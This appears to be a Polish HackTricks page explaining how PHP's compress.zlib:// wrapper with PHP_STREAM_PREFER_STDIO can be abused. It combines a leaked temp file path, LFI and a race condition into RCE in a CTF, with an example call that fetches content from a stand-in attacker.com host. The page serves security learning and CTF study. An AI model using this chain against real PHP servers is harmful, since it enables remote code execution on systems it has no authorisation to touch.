4.3 KiB
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
compress.zlib://
i PHP_STREAM_PREFER_STDIO
Plik otwarty za pomocą protokołu compress.zlib://
z flagą PHP_STREAM_PREFER_STDIO
może kontynuować zapisywanie danych, które przychodzą do połączenia, do tego samego pliku.
Oznacza to, że wywołanie takie jak:
file_get_contents("compress.zlib://http://attacker.com/file")
Wysyłamy żądanie o http://attacker.com/file, a następnie serwer może odpowiedzieć na to żądanie poprawną odpowiedzią HTTP, utrzymując połączenie otwarte i wysyłając dodatkowe dane po pewnym czasie, które zostaną również zapisane do pliku.
Można zobaczyć tę informację w tym fragmencie kodu php-src w main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Wyścig do RCE
Ten CTF został rozwiązany przy użyciu poprzedniego triku.
Atakujący sprawi, że serwer ofiary otworzy połączenie, czytając plik z serwera atakującego przy użyciu protokołu compress.zlib
.
Podczas istnienia tego połączenia, atakujący wyciągnie ścieżkę do utworzonego pliku tymczasowego (serwer ją ujawnia).
Podczas gdy połączenie jest nadal otwarte, atakujący wykorzysta LFI, wczytując plik tymczasowy, który kontroluje.
Jednak w serwerze sieciowym istnieje sprawdzenie, które uniemożliwia wczytanie plików zawierających <?
. Dlatego atakujący wykorzysta wyścig warunkowy. W połączeniu, które jest nadal otwarte, atakujący wyśle ładunek PHP PO Tym, jak serwer sieciowy sprawdzi, czy plik zawiera niedozwolone znaki, ale PRZED wczytaniem jego zawartości.
Aby uzyskać więcej informacji, sprawdź opis Wyścigu Warunkowego i CTF na stronie https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCYJNY!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.